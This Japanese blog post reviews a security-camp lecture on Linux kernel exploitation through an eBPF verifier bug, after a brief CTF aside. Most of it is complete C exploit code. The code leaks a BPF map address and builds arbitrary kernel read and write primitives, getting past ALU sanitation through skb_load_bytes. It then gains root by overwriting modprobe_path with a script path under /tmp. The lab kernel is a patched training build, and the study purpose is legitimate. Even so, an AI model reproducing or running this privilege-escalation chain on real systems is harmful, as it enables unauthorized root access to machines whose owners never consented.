実は別のチームメンバーがNEMUをstagerで解いていました。勉強不足なのであまりやり方はよく知らないんですが、最初にreadシステムコールを呼び出してシェルコードを書き足していくやり方みたいです。そう考えるとstagerの方がいろいろな場合に対応できるので賢いな~と思い勉強させていただきました笑
他のpwnの問題はexit()
後に呼ばれる関数ポインタをいじって任意の呼び出しをする問題や、ヒープガチャガチャ問でした。ヒープはtcacheの仕様がglibc2.35くらいから変わって、そのあたりからCTFではやらなくなってしまったので久しぶりにやりたいですね。来週くらいにまた復習しようと思うので、解けてないけどwriteup書こうかなと思います。
それでは~
セキュリティキャンプ講義の復習
Advenced Linux Kernel Exploit
この講義ではeBPFの脆弱性をついたKernel Exploit手法を紹介していただいた。ハンズオンだけで6時間だったわけではないので非常に時間が短く、理解が曖昧なままな箇所がけっこうあるので復習ついでに書いていく。
本講義は計6時間で、
という流れで攻撃手法を学んだ。
BPFについて
BPFは以下のような構造になっている。 ユーザプログラム内でBPFコードを定義し、それをBPFコードとして登録する。すると検証器がBPFコードを精査して型チェック等を行う。型違反があるとここで突っ返されて、プログラムが止まる。無事検証を通過すると、BPFコードがJIT(just in Time)で機械語に変換され、その後はイベント発生時に実行される。BPFプログラムはBPFマップといわれる領域を通してユーザ空間と値のやり取りをする。
eBPFはBPFの命令セットを64bitに拡張し、パケットやシステムコールフィルタ以外の用途に拡張したもの。
BPFのレジスタ
BPFでは10個の汎用レジスタと1個のフレームポインタがある。
レジスタ | 特殊な用途 | 別名 |
---|---|---|
R0 | 戻り値 | - |
R1 | 第一引数、コンテキストのポインタ | ARG1 |
R2 | 第二引数 | ARG2 |
R3 | 第三引数 | ARG3 |
R4 | 第四引数 | ARG4 |
R5 | 第五引数 | ARG5 |
R6~R9 | - | - |
r10 | フレームポインタ | FP |
BPFのスタック
BPFではプログラムごとにスタックが用意されていて、FPがスタックの最高位アドレスを指している(x86_64でいうrbp)。サイズは512byte固定。8バイトにalignされたアドレスのみに読み書きができる。
コンテキスト
イベントの発生源がBPFプログラムにイベント情報を渡すためのもの。構造体形式になっていて、イベントの情報が格納されている。BPFプログラム開始時にR1レジスタにコンテキストへのポインタが渡される。
BPFマップ
BPFプログラムとユーザプログラムがやり取りするための領域。ユーザ側から任意のキー・データ長さ(要素のサイズ・要素数)でマップ(配列)を作成できる。
ここで気を付けるポイントが、BPFスタックにはポインタを書き込めるが、mapにはポインタを書き込めない仕様になっている。具体的には検証器に弾かれるようになっている(つまり検証器をだませれば書き込める、というのがミソ)。BPFマップ自体のポインタはヘルパー関数を使ってmapfdから取得する。
ヘルパー関数
docs
自分の認識ではatomicに処理すべき部分などがまとめられている。本講義で使った関数を紹介↓
map系
map_lookup_elem
:BPFマップの要素へのポインタを取得
map_update_elem
:BPFマップの要素の値を更新ソケットフィルタ
skb_laod_bytes
:コンテキストからパケットデータを取得
skb_store_bytes
:コンテキストからパケットデータを変更
※BPFでのコーディング
通常BPFプログラミングをするときはbcc(BPF Compiler Collection)を使うらしいが、Exploitではアセンブリレベルで書く必要がある。
そのため以下のマクロを利用して書いていく。
bpf_insn.h
eBPFの検証器
eBPFではカーネル内でコードを実行するにあたって、ユーザが危険なコードを書いていないかチェックする。検証は2段階にわたって行われ、
- ループが存在しないか (ソースコード)
- unsound behavior(正しく動作しない可能性が少しでもある状態)が存在しないか (ソースコード)
- 未初期化レジスタの利用
- BPFマップへの範囲外書き込み
- ポインタ書き込みなど
を確認する。
また、すべてのレジスタ・スタックの値について、
- 型情報
- 取りうる値の範囲
smin_value
/smax_value
: 符号付き64bit整数の最小・最大値
umin_value
/umax_value
: 符号なし64bit整数の最小・最大値
s32_min_value
/s32_max_value
: 符号付き32bit整数の最小・最大値
u32_min_value
/u32_max_value
: 符号なし32bit整数の最小・最大値 - 各bitが断定できるか
を1命令ごとに追跡している。加えて、値がスカラなのかポインタなのかも追跡している。
スカラ値はbitごとに可能な限り追跡され、以下のように表示される。
var_off(value; mask)
- value: 判明しているbit
- mask: 不明なbit部分が1になる
例)
var_off(0xdeadbeef; 0x0) = 定数0xdeadbeef
var_off(0xde00be00; 0x00ff00ff) = 0xde??be??
ポインタの場合はポインタの種類、加算されたオフセット、ポインタの指すデータサイズなども保持する。
脆弱性の解析
本講義で使っているカーネルはLinux kernel 5.18.14だが、kernel/bpf/verifier.cの7957行目の関数呼び出しが消されたものが配布されている。(昔本当にあったバグの再現らしい)
この一行がないとどういうバグが発生するのかを確認する。
まずverifier.cはeBPFの検証器を実装している部分である。その中のscalar32_min_max_or
関数はadjust_scalar_min_max_vals
関数から呼ばれていて、これはALU演算前後に取りうる値の範囲を追跡する処理だ。scalar32_min_max_or
はOR演算時に呼ばれる(ソースコード)。また、その後にscalar_min_max_or
が呼ばれる。
ここで、dst_reg
はtnum_or
でvalueとmaskのor演算結果が格納される。ちなみにdst_reg
とsrc_reg
はtnum
構造体で、以下のようになってる。
これでscalar32_min_max_or
に渡された引数がわかった。では、削除された部分を含むif文の条件を見てみよう。src_known
とdst_known
はtnum_subreg_is_const
の戻り値である。tnum_subreg_is_const
はここで定義されていて、コメントを見ると「下位32bitが定数であればtrueを返す」らしい。つまりソースレジスタとデスティネーションレジスタの両方の下位32bitが定数であれば、if文内に入ることになる。
mark_reg32_known
では以下のようにvar_off
と、取りうる最大値・最小値が更新される。(定数であるということは定数値=最小値=最大値なので)
ここで、mark_reg32_known
が終わるとreturnされて、次にscalar_min_max_or
(ソース)が呼ばれる。この関数ではscalar32_min_max_or
と同じような動作をするが、64bitで判断している。つまり、下位32bitが定数でも上位32bitに不定な値があった場合はif文に入らない。if文に入らなかった場合、この関数の最後には__update_reg_bounds
が呼ばれている。
さらにその中でupdate_reg32_bounds
(ソース)が呼ばれるが、ここに注目してほしい。
下位32bitが定数でも上位32bitに不定な値があった場合はここにたどり着くわけだが、本講義で使ってるカーネルでは最初に説明した通り__mark_reg32_known
が呼ばれない。つまり、reg->var_off
やreg->s32_min_value
などは更新されていないのにも関わらず、__update_reg32_bounds
内で使用されているのだ。
ここではu32の処理の方に注目する。以降デスティネーションレジスタとソースレジスタの下位32bitをRdst
、Rsrc
とあらわす。
u32_min_value
とu32_max_value
は更新されていないのでRdst
であり、var_32_off.mask
は定数なので0
である。また、var32_off.value
はここで定義されているので、Rdst | Rsrc
である。よって、ここまでをまとめると次のようになる。
u32_min_value = max(Rdst, Rdst|Rsrc)
u32_max_value = min(Rdst, Rdst|Rsrc)
ここでRdst = 0
、Rsrc = 1
とすると、
u32_min_value = 1
u32_max_value = 0
というおかしな状況を作れる(Rdst < Rdst|Rsrc
を満たすとこのバグが発生する)。
実装はこんな感じになる。不定な値はmapから値を取得することで作れる。それを上位32bitに移動させてから定数1
とORすることでバグが生まれる。
実行結果の一部がこちら(なぜかs32の方だけになっているが...)
アドレスリーク
ポインタ+スカラ演算に関してはadjust_min_max_vals
に書いてある。(ソース)
if文を見ると、min > maxなスカラーの場合、__mark_reg_unknown
が呼ばれるとわかる。
reg->var_off = tnum_unknow
からRdstは中身不明のスカラとして扱われる。つまり、min > maxなスカラーを加算すればポインタではなくなるため、BPFマップに書き込めるようになる。
これをmap_update_elem
でマップに書き込んで、ユーザ側からmap_look_up
でリークできる。以下のように実装することででマップのアドレスをリークできる。
#include <linux/bpf.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include "../bpf_insn.h" void fatal(const char *msg) { perror(msg); exit(1); } int bpf(int cmd, union bpf_attr *attrs) { return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs)); } int map_create(int val_size, int max_entries) { union bpf_attr attr = { .map_type = BPF_MAP_TYPE_ARRAY, .key_size = sizeof(int), .value_size = val_size, .max_entries = max_entries }; int mapfd = bpf(BPF_MAP_CREATE, &attr); if (mapfd == -1) fatal("bpf(BPF_MAP_CREATE)"); return mapfd; } int map_update(int mapfd, int key, void *pval) { union bpf_attr attr = { .map_fd = mapfd, .key = (uint64_t)&key, .value = (uint64_t)pval, .flags = BPF_ANY }; int res = bpf(BPF_MAP_UPDATE_ELEM, &attr); if (res == -1) fatal("bpf(BPF_MAP_UPDATE_ELEM)"); return res; } int map_lookup(int mapfd, int key, void *pval) { union bpf_attr attr = { .map_fd = mapfd, .key = (uint64_t)&key, .value = (uint64_t)pval, .flags = BPF_ANY }; return bpf(BPF_MAP_LOOKUP_ELEM, &attr); // -1 if not found } unsigned long leak_map_address(int mapfd) { char verifier_log[0x10000]; unsigned long val; /* BPFプログラム */ struct bpf_insn insns[] = { // key = 0 BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // R0 = map_lookup_elem(mapfd, &key) BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08), BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // if (!R0) exit() BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(), // R1: var_off=(0; 0xffffffffffffffff) BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0), // R1: var_off=(0; 0xffffffff00000000) BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32), BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32), // R2: var_off=(1; 0) BPF_MOV64_IMM(BPF_REG_2, 1), // R1: min=1,max=0 BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2), // 64bitに拡張 BPF_MOV32_REG(BPF_REG_1, BPF_REG_1), // &map[0]ポインタをスカラーと認識させる BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1), // &map[0]+1のリーク BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x10), // map_update_elem(mapfd, &key, &val, 0) BPF_MOV32_IMM(BPF_REG_ARG4, 0), BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10), BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08), BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd), BPF_EMIT_CALL(BPF_FUNC_map_update_elem), BPF_MOV64_IMM(BPF_REG_0, 0), // R0 = 0 BPF_EXIT_INSN(), }; /* ソケット用に設定 */ union bpf_attr prog_attr = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insn_cnt = sizeof(insns) / sizeof(insns[0]), .insns = (uint64_t)insns, .license = (uint64_t)"GPL v2", .log_level = 2, .log_size = sizeof(verifier_log), .log_buf = (uint64_t)verifier_log }; /* BPFプログラムをロード */ int progfd = bpf(BPF_PROG_LOAD, &prog_attr); puts(verifier_log); if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)"); /* ソケットを作成 */ int socks[2]; if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) fatal("socketpair"); if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int))) fatal("setsockopt"); /* ソケットを利用(BPFプログラムの発動) */ write(socks[1], "AAAABBBBCCCCDDDD", 16); /* リークしたポインタを取得 */ map_lookup(mapfd, 0, &val); return val - 1; } int main() { int mapfd = map_create(8, 1); unsigned long val = 1; map_update(mapfd, 0, &val); unsigned long addr_map = leak_map_address(mapfd); printf("[+] addr_map = 0x%016lx\n", addr_map); getchar(); return 0; }
実行すると以下のような出力になる。
このアドレス周辺をgdbでダンプする。見てみるとkernel baseをリークできそうな値が0xffff888003247201
に存在する。
今回の本質ではない気がするのでさっと説明を書くが、これはstruct bpf_array
らしい。mapフィールドの値は固定なので、0x1c124を減算すればkernel baseを求められる。
AAW/AARを作る
BPFではポインタ+スカラの演算結果が明らかに使用可能範囲外の場合、検証器に止められてしまう。しかし、min=1, max=0
で本当は1
が入っている値X
と、min=0
, max=1
で本当は1が入っている値Yを加算すると、検証器はmin=1+0=1
, max=0+1=1
で、定数1
だと判断するが本当は2
が入っている値Z
を作れる。つまり(Z-1)
は検証器は定数0
だと判断する。ここで変数val
と、任意の値offset
で、
val += (Z-1)*offset
という計算をすることで、検証器には値の変化がないように見せつつ任意の値をval
に入れることができる。
min=0, max=1
の作り方だが、ユーザ側からマップに1
を入れて置き、BPFでそれ読み出してAND 1
をとれば作れる。
ALU sanitation
Spectreへの対策として追加されたmitigationでuser権限で実行すると有効になる。(どうしてSpectre対策になるのかはよく分からん)
ALUのBPF_ADDに対してパッチが当たっているらしく(ソース)、
BPF_ALU64_REG(BPF_ADD, REG_PTR, REG_SCALAR)
上記のようなとき、REG_SCALAR
が定数だった場合、
BPF_MOV32_IMM(BPF_REG_AX, 定数), BPF_ALU64_REG(BPF_ADD, REG_PTR, REG_AX)
に置き換わる。つまりせっかく作ったZ
が使われずに終わってしまう。ここで、ヘルパー関数skb_load_bytes
を使う。パッチが当たっているのはあくまでBPF_ADD
のALU命令だけなので、これを使うことで2022年現在はbypassできる。skb_load_bytes
はコンテキストからパケットデータを取得する関数で、第4引数に受け取るサイズを指定できる。ここでZ
を使って(Z-1)*preffer_value
とすることで任意のサイズを指定できる。これを使ってstack BOFをする。具体的にはあらかじめmapのポインタをstackに書き込んでおき、そこをoverflowでAAW/AAR対象となるアドレスで上書きする。すると検証器としては、もともとそこは有効なアドレスであり、書き換えられていないつもりになっているので、書き込んだアドレスを読みだして普通に使えばAAW/AARができる。
これを実装すると以下のようになる。
unsigned long aaw64(int mapfd, unsigned long addr, unsigned long value) { char verifier_log[0x10000]; unsigned long val = 1; map_update(mapfd, 0, &val); /* BPFプログラム */ struct bpf_insn insns[] = { BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x18), // key = 0 BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x20, 0), // R0 = map_lookup_elem(mapfd, &key) BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x20), BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // if (!R0) exit() BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(), // R1: var_off=(0; 0xffffffffffffffff) BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0), BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 0), // R1: var_off=(0; 0xffffffff00000000) BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32), BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32), // R2: var_off=(1; 0) BPF_MOV64_IMM(BPF_REG_2, 1), // R1: min=1,max=0 BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2), BPF_MOV32_REG(BPF_REG_1, BPF_REG_1), // BPF_REG_1 += map[0]&1 BPF_ALU64_IMM(BPF_AND, BPF_REG_3, 1), BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_3), // BPF_REG_1 -= 1 BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1), // R1: 推測値=8 / 実際値=0x10 BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x8), BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 0x8), // *(FP-0x08) = &map[0] // FP-0x08にポインタを代入 BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x08), // skb_load_bytes(ctx, 0, FP-0x10, R1) BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1), BPF_MOV64_REG(BPF_REG_3, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x10), BPF_MOV64_IMM(BPF_REG_ARG2, 0), BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x18), BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes), // *addr = value BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_FP, -0x08), BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_FP, -0x10), BPF_STX_MEM(BPF_DW, BPF_REG_1, BPF_REG_2, 0), BPF_MOV64_IMM(BPF_REG_0, 0), // R0 = 0 BPF_EXIT_INSN(), }; /* ソケット用に設定 */ union bpf_attr prog_attr = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insn_cnt = sizeof(insns) / sizeof(insns[0]), .insns = (uint64_t)insns, .license = (uint64_t)"GPL v2", .log_level = 2, .log_size = sizeof(verifier_log), .log_buf = (uint64_t)verifier_log }; /* BPFプログラムをロード */ int progfd = bpf(BPF_PROG_LOAD, &prog_attr); puts(verifier_log); if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)"); /* ソケットを作成 */ int socks[2]; if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) fatal("socketpair"); if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int))) fatal("setsockopt"); /* ソケットを利用(BPFプログラムの発動) */ unsigned long buf[2]; buf[0] = value; buf[1] = addr; write(socks[1], buf, 16); } unsigned long aar64(int mapfd, unsigned long addr) { char verifier_log[0x10000]; unsigned long val; /* BPFプログラム */ struct bpf_insn insns[] = { BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x18), // key = 0 BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x20, 0), // R0 = map_lookup_elem(mapfd, &key) BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x20), BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd), BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem), // if (!R0) exit() BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), BPF_EXIT_INSN(), // R1: var_off=(0; 0xffffffffffffffff) BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0), BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_0, 0), // R1: var_off=(0; 0xffffffff00000000) BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32), BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32), // R2: var_off=(1; 0) BPF_MOV64_IMM(BPF_REG_2, 1), // R1: min=1,max=0 BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2), BPF_MOV32_REG(BPF_REG_1, BPF_REG_1), BPF_ALU64_IMM(BPF_AND, BPF_REG_3, 1), BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_3), BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1), // R1: 推測値=8 / 実際値=0x10 BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x8), BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 0x8), // *(FP-0x08) = &map[0] // FP-0x08をポインタを代入 BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_0, -0x08), // skb_load_bytes(ctx, 0, FP-0x10, R1) BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1), BPF_MOV64_REG(BPF_REG_3, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x10), BPF_MOV64_IMM(BPF_REG_ARG2, 0), BPF_LDX_MEM(BPF_DW, BPF_REG_ARG1, BPF_REG_FP, -0x18), BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes), // *(FP-0x10) = *addr BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_FP, -0x08), BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_1, 0), BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_2, -0x10), // map_update_elem(mapfd, &key, &val, 0) BPF_MOV32_IMM(BPF_REG_ARG4, 0), BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10), BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x20), BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd), BPF_EMIT_CALL(BPF_FUNC_map_update_elem), BPF_MOV64_IMM(BPF_REG_0, 0), // R0 = 0 BPF_EXIT_INSN(), }; /* ソケット用に設定 */ union bpf_attr prog_attr = { .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, .insn_cnt = sizeof(insns) / sizeof(insns[0]), .insns = (uint64_t)insns, .license = (uint64_t)"GPL v2", .log_level = 2, .log_size = sizeof(verifier_log), .log_buf = (uint64_t)verifier_log }; /* BPFプログラムをロード */ int progfd = bpf(BPF_PROG_LOAD, &prog_attr); puts(verifier_log); if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)"); /* ソケットを作成 */ int socks[2]; if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks)) fatal("socketpair"); if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int))) fatal("setsockopt"); /* ソケットを利用(BPFプログラムの発動) */ unsigned long buf[2]; buf[0] = 0x4141414142424242; buf[1] = addr; write(socks[1], buf, 16); map_lookup(mapfd, 0, &val); return val; }
権限昇格
講義ではmodprobe_pathの書き換えを使って権限昇格を行った。LinuxにはELFやshebangなどの実行形式があるが、それ以外の不明な気式が実行されるとmodprobe_path
に書いてあるパスのスクリプトが実行される。デフォルトでは/sbin/modprobe
になっている。これをAAWで/tmp/x
に書き換え、/tmp/x
にroot権限で実行したい処理を書いておけば任意のコマンドが実行できる。kernel baseのリークを含めて、main
関数を以下のように定義すれば、root権限での実行ができる。
int main() { int mapfd = map_create(8, 1); unsigned long val = 1; map_update(mapfd, 0, &val); unsigned long addr_map = leak_map_address(mapfd); printf("[+] addr_map = 0x%016lx\n", addr_map); val = aar64(mapfd, addr_map); printf("[+] value_map = 0x%016lx\n", val); val = aar64(mapfd, addr_map-0x110); printf("[+] value_addr_ops = 0x%016lx\n", val); unsigned long kbase = val - 0xc124a0; printf("[+] kbase = 0x%016lx\n", kbase); //modprobe書き換え unsigned long modprobe_addr = kbase + 0xe37fe0; //aaw64(mapfd, modprobe_addr, 0x2f746d702f78); aaw64(mapfd, modprobe_addr, 0x782f706d742f); //権限昇格 //実行スクリプトの用意 system("echo -e '#!/bin/sh\necho PWNED > /PWNED.txt' > /tmp/x"); chmod("/tmp/x", 0777); //形式不明の実行ファイル用意 system("echo -e '\xde\xea\xbe\xef' > /tmp/pwn"); chmod("/tmp/pwn", 0777); system("/tmp/pwn"); getchar(); return 0; }
ユーザ権限で実行すると以下のようにオーナーがrootのPWNED.txtが作られているのがわかる。
感想
今まではユーザランドの攻撃のみCTFでやってきたので、seccampで初めてカーネルランドの攻撃をやった。普通のkernel exploitだけでもすごい楽しかったし、いい経験になったが、さらにeBPFの攻撃手法の一例を学べたのは本当に良かったなあと思う。yudai先生曰く検証器をだます手法はBrowserとかにも使えるそうなので、そのうち勉強してみたいなあと思っている。
ということで、
「C2C3講義完全理解した! #seccamp」
ありがとうございました!